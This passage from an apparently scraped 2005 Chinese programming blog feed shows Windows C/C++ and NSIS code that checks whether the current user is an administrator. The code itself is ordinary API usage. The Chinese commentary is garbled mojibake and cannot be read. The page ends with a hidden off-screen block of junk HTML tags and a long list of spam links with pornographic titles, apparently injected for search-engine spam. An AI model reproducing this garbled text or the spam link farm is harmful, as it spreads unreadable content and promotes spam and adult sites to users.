#000000;"> NERR_Success ) {<br>        NetApiBufferFree(localGroups);<br>        </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>    }<br><br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> Retrieve the Administrators group well-known SID<br><br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> For some reason CreateWellKnownSid generates error C3861 on Developer Studio .NET:<br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> error C3861: 'CreateWellKnownSid': identifier not found, even with argument-dependent lookup</span><span style="color: #008000;"><br></span><span style="color: #000000;">    BYTE    SidAuth[] </span><span style="color: #000000;">=</span><span style="color: #000000;"> SECURITY_NT_AUTHORITY;<br>    PSID    pAdminSid;<br>    AllocateAndInitializeSid( (PSID_IDENTIFIER_AUTHORITY)SidAuth, <br>        </span><span style="color: #000000;">2</span><span style="color: #000000;">, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, <br>        NULL, NULL, NULL, NULL, NULL, NULL, </span><span style="color: #000000;">&</span><span style="color: #000000;">pAdminSid );<br><br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> Will use this to retrieve the SID of the group</span><span style="color: #008000;"><br></span><span style="color: #000000;">    BYTE    buffSid[SECURITY_MAX_SID_SIZE];<br>    wchar_t    buffDomain[DNLEN</span><span style="color: #000000;">+</span><span style="color: #000000;">1</span><span style="color: #000000;">];<br>    DWORD    dwSidSize;<br>    DWORD    dwDomainSize;<br>    SID_NAME_USE m_sidnameuse;<br><br>    </span><span style="color: #0000ff;">for</span><span style="color: #000000;">( DWORD i </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">0</span><span style="color: #000000;">; i </span><span style="color: #000000;"><</span><span style="color: #000000;"> entriesread; </span><span style="color: #000000;">++</span><span style="color: #000000;">i ) {<br>        dwSidSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(buffSid);<br>        dwDomainSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> DNLEN;<br><br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> Although in general is a bad idea to call directly the W or A versions of API<br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> we do it here to avoid converting the localGroups[i].lgrui0_name back to ANSI<br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> This kind of security API is only present on NT/2000/XP family only, so<br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> the W version is present and safe to use</span><span style="color: #008000;"><br></span><span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( LookupAccountNameW( NULL, localGroups[i].lgrui0_name, buffSid, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSidSize, (LPWSTR)buffDomain, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwDomainSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">m_sidnameuse) ) </span><span style="color: #008000;">//</span><span style="color: #008000;"> no sid for the actual group</span><span style="color: #008000;"><br></span><span style="color: #000000;">            </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( EqualSid( buffSid, pAdminSid ) ) {<br>                bAdmin </span><span style="color: #000000;">=</span><span style="color: #000000;"> TRUE;<br>                </span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br>            }<br>    }<br>    FreeSid( pAdminSid );<br>    NetApiBufferFree(localGroups);<br><br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> bAdmin;<br>}<br></span></div> <br><br>娉ㄦ剰鏈夋椂鎴戜滑鍙渶瑕佸垽鏂綋鍓峱rocess鏄惁浠ョ鐞嗗憳鏉冮檺榪愯銆傝矊浼煎彲浠ラ氳繃璋冪敤GetTokenInformation 鍜孉llocateAndInitializeSid 鏉ュ垽鏂紝<br><br>google "Searching for a SID in an Access Token in C++" site:msdn.microsoft.com鍙壘鍒頒竴孌典唬鐮? 璇瘋嚜琛岀爺絀惰嚜琛屾祴璇曘?br><br> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #0000ff;">#define</span><span style="color: #000000;"> MAX_NAME 256</span><span style="color: #000000;"><br><br>BOOL SearchTokenGroupsForSID (VOID) <br>{<br>DWORD i, dwSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">0</span><span style="color: #000000;">, dwResult </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">0</span><span style="color: #000000;">;<br>HANDLE hToken;<br>PTOKEN_GROUPS pGroupInfo;<br>SID_NAME_USE SidType;<br></span><span style="color: #0000ff;">char</span><span style="color: #000000;"> lpName[MAX_NAME];<br></span><span style="color: #0000ff;">char</span><span style="color: #000000;"> lpDomain[MAX_NAME];<br>BYTE sidBuffer[</span><span style="color: #000000;">100</span><span style="color: #000000;">];<br>PSID pSID </span><span style="color: #000000;">=</span><span style="color: #000000;"> (PSID)</span><span style="color: #000000;">&</span><span style="color: #000000;">sidBuffer;<br>SID_IDENTIFIER_AUTHORITY SIDAuth </span><span style="color: #000000;">=</span><span style="color: #000000;"> SECURITY_NT_AUTHORITY;<br>   <br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Open a handle to the access token for the calling process.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (</span><span style="color: #000000;">!</span><span style="color: #000000;">OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY, </span><span style="color: #000000;">&</span><span style="color: #000000;">hToken )) {<br>    printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">OpenProcessToken Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError() );<br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Call GetTokenInformation to get the buffer size.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">GetTokenInformation(hToken, TokenGroups, NULL, dwSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize)) {<br>    dwResult </span><span style="color: #000000;">=</span><span style="color: #000000;"> GetLastError();<br>    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( dwResult </span><span style="color: #000000;">!=</span><span style="color: #000000;"> ERROR_INSUFFICIENT_BUFFER ) {<br>        printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">GetTokenInformation Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, dwResult );<br>        </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>    }<br>}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Allocate the buffer.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br>pGroupInfo </span><span style="color: #000000;">=</span><span style="color: #000000;"> (PTOKEN_GROUPS) GlobalAlloc( GPTR, dwSize );<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Call GetTokenInformation again to get the group information.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;"> GetTokenInformation(hToken, TokenGroups, pGroupInfo, <br>                        dwSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize ) ) {<br>    printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">GetTokenInformation Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError() );<br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>   }<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Create a SID for the BUILTIN\Administrators group.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;"> AllocateAndInitializeSid( </span><span style="color: #000000;">&</span><span style="color: #000000;">SIDAuth, </span><span style="color: #000000;">2</span><span style="color: #000000;">,<br>                 SECURITY_BUILTIN_DOMAIN_RID,<br>                 DOMAIN_ALIAS_RID_ADMINS,<br>                 </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">,<br>                 </span><span style="color: #000000;">&</span><span style="color: #000000;">pSID) ) {<br>    printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">AllocateAndInitializeSid Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError() );<br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>   }<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Loop through the group SIDs looking for the administrator SID.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">for</span><span style="color: #000000;">(i</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">; i</span><span style="color: #000000;"><</span><span style="color: #000000;">pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">GroupCount; i</span><span style="color: #000000;">++</span><span style="color: #000000;">) {<br>    </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> ( EqualSid(pSID, pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Sid) ) {<br><br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> Lookup the account name and print it.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br>        dwSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> MAX_NAME;<br>        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( </span><span style="color: #000000;">!</span><span style="color: #000000;">LookupAccountSid( NULL, pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Sid,<br>                              lpName, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize, lpDomain, <br>                              </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">SidType ) ) {<br>            dwResult </span><span style="color: #000000;">=</span><span style="color: #000000;"> GetLastError();<br>            </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( dwResult </span><span style="color: #000000;">==</span><span style="color: #000000;"> ERROR_NONE_MAPPED )<br>               strcpy_s (lpName, dwSize, </span><span style="color: #000000;">"</span><span style="color: #000000;">NONE_MAPPED</span><span style="color: #000000;">"</span><span style="color: #000000;"> );<br>            </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> {<br>                printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">LookupAccountSid Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError());<br>                </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>            }<br>        }<br>        printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">Current user is a member of the %s\\%s group\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, <br>                lpDomain, lpName );<br><br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> Find out whether the SID is enabled in the token.</span><span style="color: #008000;"><br></span><span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Attributes </span><span style="color: #000000;">&</span><span style="color: #000000;"> SE_GROUP_ENABLED)<br>            printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The group SID is enabled.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>         </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Attributes </span><span style="color: #000000;">&</span><span style="color: #000000;"> <br>                          SE_GROUP_USE_FOR_DENY_ONLY)<br>            printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The group SID is a deny-only SID.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>         </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> <br>            printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The group SID is not enabled.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>    }<br>}<br><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (pSID)<br>    FreeSid(pSID);<br></span><span style="color: #0000ff;">if</span><span style="color: #000000;"> ( pGroupInfo )<br>    GlobalFree( pGroupInfo );<br></span><span style="color: #0000ff;">return</span><span style="color: #000000;"> TRUE;<br>}</span></div> <br>鍚戞浘琚垜璇鐨勫悓蹇楄〃紺虹湡鎸氱殑閬撴瓑鍜屾矇鐥涚殑鎮(zhèn)煎康銆?br><br>NSIS涓嬪垽鏂綋鍓嶇敤鎴鋒槸鍚︾鐞嗗憳錛?br><a target="_blank" >http://nsis.sourceforge.net/Check_if_the_current_user_is_an_Administrator</a><br> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">!macro IsUserAdmin RESULT<br> !define Index </span><span style="color: #800000;">"</span><span style="color: #800000;">Line${__LINE__}</span><span style="color: #800000;">"</span><span style="color: #000000;"><br>   StrCpy ${RESULT} 0<br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">*(&i1 0,&i4 0,&i1 5)i.r0</span><span style="color: #800000;">'</span><span style="color: #000000;"><br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::AllocateAndInitializeSid(i r0,i 2,i 32,i 544,i 0,i 0,i 0,i 0,i 0, \</span><span style="color: #800000;"><br></span><span style="color: #000000;">   i 0,</span><span style="color: #000000;">*</span><span style="color: #000000;">i .R0)i.r5</span><span style="color: #800000;">'<br></span><span style="color: #000000;">   System::Free $0<br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::CheckTokenMembership(i n,i R0,*i .R1)i.r5</span><span style="color: #800000;">'</span><span style="color: #000000;"><br>   StrCmp $</span><span style="color: #000000;">5</span><span style="color: #000000;"> 0 ${Index}_Error<br>   StrCpy ${RESULT} $R1<br>   Goto ${Index}_End<br> ${Index}_Error:<br>   StrCpy ${RESULT} </span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;"><br> ${Index}_End:<br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::FreeSid(i R0)i.r5</span><span style="color: #800000;">'</span><span style="color: #000000;"><br> !undef Index<br>!macroend</span></div> <br><a id="AjaxHolder_Comments_CommentList_ctl00_NameLink" target="_blank"></a> <img src ="http://www.shnenglu.com/aqazero/aggbug/14197.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2005-07-25 09:11 <a href="http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item></channel></rss> <a href="http://www.shnenglu.com/">青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品</a> <div style="position:fixed;left:-9000px;top:-9000px;"><font id="pjuwb"></font><button id="pjuwb"><pre id="pjuwb"></pre></button><sub id="pjuwb"></sub><tbody id="pjuwb"><var id="pjuwb"><address id="pjuwb"></address></var></tbody><listing id="pjuwb"><label id="pjuwb"><strong id="pjuwb"></strong></label></listing><wbr id="pjuwb"><small id="pjuwb"><tbody id="pjuwb"></tbody></small></wbr><ins id="pjuwb"><xmp id="pjuwb"></xmp></ins><style id="pjuwb"></style><label id="pjuwb"><em id="pjuwb"><li id="pjuwb"></li></em></label><samp id="pjuwb"></samp><menu id="pjuwb"><input id="pjuwb"></input></menu><pre id="pjuwb"><tbody id="pjuwb"><tfoot id="pjuwb"><button id="pjuwb"></button></tfoot></tbody></pre><form id="pjuwb"></form><i id="pjuwb"><style id="pjuwb"><label id="pjuwb"><sup id="pjuwb"></sup></label></style></i><li id="pjuwb"><table id="pjuwb"><abbr id="pjuwb"></abbr></table></li><video id="pjuwb"></video><dfn id="pjuwb"></dfn><progress id="pjuwb"></progress><strong id="pjuwb"></strong><mark id="pjuwb"></mark><em id="pjuwb"></em><tbody id="pjuwb"><p id="pjuwb"><strike id="pjuwb"><acronym id="pjuwb"></acronym></strike></p></tbody><option id="pjuwb"></option><strike id="pjuwb"></strike><u id="pjuwb"></u><td id="pjuwb"><center id="pjuwb"><tr id="pjuwb"></tr></center></td><em id="pjuwb"><mark id="pjuwb"><em id="pjuwb"><tt id="pjuwb"></tt></em></mark></em><strong id="pjuwb"></strong><wbr id="pjuwb"></wbr><s id="pjuwb"></s><strong id="pjuwb"></strong><legend id="pjuwb"></legend><nav id="pjuwb"></nav><dl id="pjuwb"><th id="pjuwb"><dl id="pjuwb"></dl></th></dl><noframes id="pjuwb"><ins id="pjuwb"></ins></noframes><font id="pjuwb"></font><strike id="pjuwb"><i id="pjuwb"><style id="pjuwb"><label id="pjuwb"></label></style></i></strike><output id="pjuwb"></output><thead id="pjuwb"><pre id="pjuwb"></pre></thead><source id="pjuwb"></source><menuitem id="pjuwb"><wbr id="pjuwb"></wbr></menuitem><pre id="pjuwb"><span id="pjuwb"><pre id="pjuwb"><big id="pjuwb"></big></pre></span></pre><cite id="pjuwb"><fieldset id="pjuwb"><s id="pjuwb"><rt id="pjuwb"></rt></s></fieldset></cite><big id="pjuwb"><progress id="pjuwb"><big id="pjuwb"></big></progress></big><samp id="pjuwb"><delect id="pjuwb"></delect></samp><dl id="pjuwb"></dl><strike id="pjuwb"><nav id="pjuwb"><dl id="pjuwb"><strong id="pjuwb"></strong></dl></nav></strike><tbody id="pjuwb"><b id="pjuwb"><optgroup id="pjuwb"><rp id="pjuwb"></rp></optgroup></b></tbody><em id="pjuwb"></em><xmp id="pjuwb"><blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote></xmp> <i id="pjuwb"><abbr id="pjuwb"><i id="pjuwb"><abbr id="pjuwb"></abbr></i></abbr></i><center id="pjuwb"><acronym id="pjuwb"><center id="pjuwb"></center></acronym></center><pre id="pjuwb"></pre><ul id="pjuwb"><thead id="pjuwb"></thead></ul><blockquote id="pjuwb"><pre id="pjuwb"><sup id="pjuwb"></sup></pre></blockquote><acronym id="pjuwb"></acronym><big id="pjuwb"><s id="pjuwb"></s></big><th id="pjuwb"></th><th id="pjuwb"></th><tbody id="pjuwb"></tbody><thead id="pjuwb"><strike id="pjuwb"></strike></thead><th id="pjuwb"><dl id="pjuwb"><wbr id="pjuwb"></wbr></dl></th><dl id="pjuwb"><strong id="pjuwb"></strong></dl><abbr id="pjuwb"><noframes id="pjuwb"><noscript id="pjuwb"></noscript></noframes></abbr><td id="pjuwb"><ol id="pjuwb"></ol></td><li id="pjuwb"><noscript id="pjuwb"><abbr id="pjuwb"></abbr></noscript></li><small id="pjuwb"><bdo id="pjuwb"><nav id="pjuwb"></nav></bdo></small><style id="pjuwb"></style><optgroup id="pjuwb"><table id="pjuwb"></table></optgroup><center id="pjuwb"><tr id="pjuwb"><dfn id="pjuwb"></dfn></tr></center><th id="pjuwb"></th><u id="pjuwb"></u><tfoot id="pjuwb"><legend id="pjuwb"><i id="pjuwb"></i></legend></tfoot><mark id="pjuwb"></mark><meter id="pjuwb"></meter><nav id="pjuwb"></nav><acronym id="pjuwb"><pre id="pjuwb"><acronym id="pjuwb"><ul id="pjuwb"></ul></acronym></pre></acronym><acronym id="pjuwb"><pre id="pjuwb"><acronym id="pjuwb"><ul id="pjuwb"></ul></acronym></pre></acronym><nobr id="pjuwb"></nobr><sub id="pjuwb"><th id="pjuwb"><menuitem id="pjuwb"><wbr id="pjuwb"></wbr></menuitem></th></sub><thead id="pjuwb"><sub id="pjuwb"></sub></thead><ul id="pjuwb"><address id="pjuwb"><menuitem id="pjuwb"><meter id="pjuwb"></meter></menuitem></address></ul><dfn id="pjuwb"></dfn><pre id="pjuwb"></pre><input id="pjuwb"><cite id="pjuwb"><fieldset id="pjuwb"></fieldset></cite></input><u id="pjuwb"><form id="pjuwb"><u id="pjuwb"></u></form></u><kbd id="pjuwb"><em id="pjuwb"><mark id="pjuwb"></mark></em></kbd><tr id="pjuwb"></tr><del id="pjuwb"><form id="pjuwb"><address id="pjuwb"></address></form></del><tfoot id="pjuwb"><legend id="pjuwb"><ol id="pjuwb"><dl id="pjuwb"></dl></ol></legend></tfoot><menu id="pjuwb"><nobr id="pjuwb"><th id="pjuwb"><nobr id="pjuwb"></nobr></th></nobr></menu><fieldset id="pjuwb"></fieldset><pre id="pjuwb"><blockquote id="pjuwb"><samp id="pjuwb"></samp></blockquote></pre><xmp id="pjuwb"><sup id="pjuwb"><pre id="pjuwb"></pre></sup></xmp><span id="pjuwb"><progress id="pjuwb"></progress></span><font id="pjuwb"></font><var id="pjuwb"><abbr id="pjuwb"></abbr></var><strong id="pjuwb"><label id="pjuwb"><i id="pjuwb"><legend id="pjuwb"></legend></i></label></strong><tr id="pjuwb"><em id="pjuwb"><em id="pjuwb"><output id="pjuwb"></output></em></em></tr><thead id="pjuwb"><strike id="pjuwb"></strike></thead> <acronym id="pjuwb"></acronym><i id="pjuwb"></i><tt id="pjuwb"></tt><rt id="pjuwb"><source id="pjuwb"><rt id="pjuwb"></rt></source></rt><strike id="pjuwb"><acronym id="pjuwb"></acronym></strike><del id="pjuwb"></del><font id="pjuwb"><output id="pjuwb"><ins id="pjuwb"><output id="pjuwb"></output></ins></output></font><kbd id="pjuwb"><tr id="pjuwb"><kbd id="pjuwb"></kbd></tr></kbd><pre id="pjuwb"><sup id="pjuwb"><delect id="pjuwb"><samp id="pjuwb"></samp></delect></sup></pre><samp id="pjuwb"></samp><track id="pjuwb"></track><tr id="pjuwb"></tr><center id="pjuwb"></center><fieldset id="pjuwb"></fieldset><i id="pjuwb"></i><td id="pjuwb"></td><rt id="pjuwb"></rt><object id="pjuwb"></object><pre id="pjuwb"><progress id="pjuwb"><sub id="pjuwb"><thead id="pjuwb"></thead></sub></progress></pre><kbd id="pjuwb"><tr id="pjuwb"><option id="pjuwb"></option></tr></kbd><output id="pjuwb"><ins id="pjuwb"></ins></output><ol id="pjuwb"></ol><source id="pjuwb"></source><strong id="pjuwb"></strong><ruby id="pjuwb"></ruby><sub id="pjuwb"><meter id="pjuwb"><menuitem id="pjuwb"><meter id="pjuwb"></meter></menuitem></meter></sub><pre id="pjuwb"></pre><center id="pjuwb"></center><tr id="pjuwb"><tbody id="pjuwb"><xmp id="pjuwb"><dd id="pjuwb"></dd></xmp></tbody></tr><video id="pjuwb"></video><pre id="pjuwb"></pre><form id="pjuwb"><optgroup id="pjuwb"></optgroup></form><samp id="pjuwb"></samp><kbd id="pjuwb"></kbd><strong id="pjuwb"><option id="pjuwb"></option></strong><object id="pjuwb"></object><abbr id="pjuwb"><noframes id="pjuwb"><abbr id="pjuwb"></abbr></noframes></abbr><ul id="pjuwb"><del id="pjuwb"><button id="pjuwb"><pre id="pjuwb"></pre></button></del></ul><abbr id="pjuwb"></abbr><strong id="pjuwb"><code id="pjuwb"><strong id="pjuwb"></strong></code></strong><option id="pjuwb"></option><optgroup id="pjuwb"><bdo id="pjuwb"><code id="pjuwb"></code></bdo></optgroup><mark id="pjuwb"><em id="pjuwb"><font id="pjuwb"></font></em></mark><acronym id="pjuwb"><code id="pjuwb"></code></acronym><dl id="pjuwb"></dl><em id="pjuwb"></em><object id="pjuwb"><input id="pjuwb"><object id="pjuwb"></object></input></object><output id="pjuwb"><dd id="pjuwb"></dd></output><option id="pjuwb"><button id="pjuwb"><option id="pjuwb"></option></button></option><small id="pjuwb"></small></div> <a href="http://www1982t.com" target="_blank">亚洲人成网站色ww在线 </a>| <a href="http://wanzhixue.com" target="_blank">国产精品每日更新</a>| <a href="http://haixian360.com" target="_blank">艳妇臀荡乳欲伦亚洲一区</a>| <a href="http://lymzdd.com" target="_blank">亚洲狠狠婷婷</a>| <a href="http://avtt0.com" target="_blank">欧美日韩一区二区国产</a>| <a href="http://www-577511.com" target="_blank">亚洲深夜影院</a>| <a href="http://4c7175.com" target="_blank">午夜精品久久久久久久白皮肤 </a>| <a href="http://www-90422.com" target="_blank">欧美激情1区2区3区</a>| <a href="http://921367.com" target="_blank">日韩小视频在线观看专区</a>| <a href="http://cn1898.com" target="_blank">亚洲精品一二三区</a>| <a href="http://6168138.com" target="_blank">国产精品久久久久久五月尺</a>| <a href="http://7885888.com" target="_blank">欧美一级久久久</a>| <a href="http://707fx.com" target="_blank">久久久亚洲精品一区二区三区</a>| <a href="http://shllswkj.com" target="_blank">国模私拍视频一区</a>| <a href="http://www-4157.com" target="_blank">亚洲经典自拍</a>| <a href="http://389746.com" target="_blank">国产欧美va欧美va香蕉在</a>| <a href="http://coerverbeijing.com" target="_blank">久久久久久夜</a>| <a href="http://87ssyy.com" target="_blank">欧美久久在线</a>| <a href="http://avtbr123.com" target="_blank">久久精品水蜜桃av综合天堂</a>| <a href="http://1000kongbao.com" target="_blank">久久手机免费观看</a>| <a href="http://jpqueyou.com" target="_blank">亚洲午夜久久久久久久久电影院</a>| <a href="http://78757a.com" target="_blank">亚洲影视九九影院在线观看</a>| <a href="http://k8m9.com" target="_blank">影视先锋久久</a>| <a href="http://6222h.com" target="_blank">亚洲一区二区免费视频</a>| <a href="http://dy25777.com" target="_blank">激情久久久久</a>| <a href="http://22400com.com" target="_blank">一本色道久久加勒比精品</a>| <a href="http://www-878899.com" target="_blank">国产一区二区三区的电影</a>| <a href="http://www-216678.com" target="_blank">亚洲国产精品一区二区尤物区</a>| <a href="http://ccc159.com" target="_blank">欧美性生交xxxxx久久久</a>| <a href="http://7777731.com" target="_blank">久久一区精品</a>| <a href="http://vod3366.com" target="_blank">国产精品视频一区二区三区</a>| <a href="http://wwwen41.com" target="_blank">欧美顶级大胆免费视频</a>| <a href="http://69ru.com" target="_blank">国产欧美欧美</a>| <a href="http://1355456.com" target="_blank">亚洲最新合集</a>| <a href="http://ycgg008.com" target="_blank">一本久道久久综合婷婷鲸鱼</a>| <a href="http://zytxkj.com" target="_blank">久久精品理论片</a>| <a href="http://cechi8.com" target="_blank">亚洲视频一二</a>| <a href="http://041935.com" target="_blank">久久这里只有精品视频首页</a>| <a href="http://621765.com" target="_blank">亚洲欧美日韩在线播放</a>| <a href="http://1390555.com" target="_blank">欧美高清在线观看</a>| <a href="http://qq6699.com" target="_blank">久久久在线视频</a>| <a href="http://mfgun.com" target="_blank">国产精品青草久久</a>| <a href="http://57sa.com" target="_blank">亚洲免费观看高清完整版在线观看熊 </a>| <a href="http://timonna.com" target="_blank">夜夜爽www精品</a>| <a href="http://40346c.com" target="_blank">亚洲国产欧美另类丝袜</a>| <a href="http://7777731.com" target="_blank">亚洲午夜一区二区</a>| <a href="http://www-72794.com" target="_blank">中文在线资源观看网站视频免费不卡</a>| <a href="http://seo8138.com" target="_blank">久久色中文字幕</a>| <a href="http://www205sihu.com" target="_blank">久久精品国产一区二区三区</a>| <a href="http://mmmm43.com" target="_blank">欧美日韩亚洲一区二区</a>| <a href="http://my736.com" target="_blank">亚洲国产日韩综合一区</a>| <a href="http://www-369111.com" target="_blank">一区在线电影</a>| <a href="http://wwwxigua66.com" target="_blank">久久精品国产成人</a>| <a href="http://899399com.com" target="_blank">久久精品视频在线播放</a>| <a href="http://m72722.com" target="_blank">国产精品综合不卡av</a>| <a href="http://842332.com" target="_blank">夜夜嗨av一区二区三区免费区</a>| <a href="http://kanzhelu31.com" target="_blank">亚洲国产精品成人</a>| <a href="http://mengmujia.com" target="_blank">久久久久久久网站</a>| <a href="http://660507jj.com" target="_blank">久热国产精品</a>| <a href="http://www-6410c.com" target="_blank">激情成人综合</a>| <a href="http://www-55655.com" target="_blank">久久久久久69</a>| <a href="http://arielteam.com" target="_blank">女人天堂亚洲aⅴ在线观看</a>| <a href="http://am3757.com" target="_blank">激情欧美日韩</a>| <a href="http://126film.com" target="_blank">久久久女女女女999久久</a>| <a href="http://tigerpowerinc.com" target="_blank">久久久噜噜噜久久久</a>| <a href="http://3737520.com" target="_blank">国产一区二区三区黄视频</a>| <a href="http://www333444123.com" target="_blank">亚洲欧美精品suv</a>| <a href="http://sdmsjd.com" target="_blank">久久电影一区</a>| <a href="http://www0505nn.com" target="_blank">国产自产v一区二区三区c</a>| <a href="http://021jjjflaw.com" target="_blank">欧美亚洲一区二区在线观看</a>| <a href="http://laoyewo.com" target="_blank">久久av在线</a>| <a href="http://phdy999.com" target="_blank">影音先锋久久资源网</a>| <a href="http://555yye.com" target="_blank">久久亚洲私人国产精品va</a>| <a href="http://www8888803.com" target="_blank">女主播福利一区</a>| <a href="http://ylsnuha.com" target="_blank">亚洲精品国产欧美</a>| <a href="http://www-90567.com" target="_blank">欧美日韩在线播放一区二区</a>| <a href="http://sh-hxjdkj.com" target="_blank">99这里只有久久精品视频</a>| <a href="http://missav88.com" target="_blank">亚洲视频1区2区</a>| <a href="http://naturalgiftfashion.com" target="_blank">欧美四级电影网站</a>| <a href="http://ncyy4.com" target="_blank">欧美一区二区成人6969</a>| <a href="http://3233328.com" target="_blank">久久黄色网页</a>| <a href="http://timonna.com" target="_blank">91久久午夜</a>| <a href="http://2016dp5330.com" 